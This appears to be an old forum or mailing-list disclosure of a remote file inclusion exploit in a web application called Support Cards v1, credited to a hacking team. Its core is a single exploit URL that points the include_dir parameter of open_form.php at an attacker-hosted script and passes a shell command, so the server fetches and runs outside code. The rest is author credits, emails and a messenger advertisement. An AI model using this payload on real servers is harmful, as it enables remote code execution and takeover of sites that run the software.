file include exploit in Support Cards v1

forum type : Support cards v1
bug found by : sweet-devil
team : site-down
type : file include

####################################################
exploit :

http://www.example.com/support/include/open_form.php?include_dir=http://
ursite/evilscript.txt?cmd=pwd

####################################################

#######################
emails:

black-cod3 (at) hotmail (dot) com [email concealed] & gamr-14 (at) hotmail (dot) com [email concealed]
#######################

All my respect to our friends , lezr.com , g123g.net

done .. peace

_________________________________________________________________
Express yourself instantly with MSN Messenger! Download today it's FREE!
http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/

[ reply ]